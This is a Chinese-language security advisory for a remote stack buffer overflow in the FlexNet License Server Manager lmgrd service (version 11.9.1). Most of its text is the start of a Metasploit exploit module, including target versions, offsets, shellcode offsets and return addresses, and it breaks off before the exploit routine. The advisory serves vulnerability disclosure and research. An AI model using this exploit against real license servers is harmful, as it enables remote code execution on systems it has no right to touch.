发布日期：2012-03-26
更新日期：2012-05-23
受影响系统：
Flexera FlexNet License Server Manager 11.9.1
不受影响系统：
Flexera FlexNet License Server Manager 11.10
描述：
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BUGTRAQ ID: 52718
Flexera是应用程序用法管理的战略解决方案提供商。FlexNet Publisher提供了自定义定价、软件包和软件许可条款的技术，也可防止未授权使用。lmgrd是在端口27000上监听的许可证服务器管理器，作为多种产品的系统服务运行。
FlexNet Publisher的lmgrd License Server Manager在实现上存在漏洞，发送特制的报文到服务器可造成栈溢出，导致执行任意代码。
<*来源：Luigi Auriemma （aluigi@pivx.com）
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the FlexNet
License Server Manager.
The vulnerability is due to the insecure usage of memcpy
in the lmgrd service when handling network packets, which
results in a stack buffer overflow.
In order to improve reliability, this module will make lots of
connections to lmgrd during each attempt to maximize its success.
},
'Author' =>
[
'Luigi Auriemma', # Vulnerability Discovery and PoC
'Alexander Gavrun', # Vulnerability Discovery
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '81899' ],
[ 'BID', '52718' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ],
[ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 4000
},
'Platform' => 'win',
'Targets' =>
[
[ 'Debug', {} ],
[ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',
{
'Offset' => 10476,
'ShellcodeOffset' => 5504,
'Ret' => 0x0047d01f # ppr from lmgrd.exe
}
],
[ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',
{
'Offset' => 7324,
'ShellcodeOffset' => 2332,
'Ret' => 0x004eda91 # ppr from lmgrd.exe
}
],
[ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',
{
'Offset' => 7320,
'ShellcodeOffset' => 2328,
'Ret' => 0x004eb2e1 # ppr from lmgrd.exe
}
],
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 23 2012'))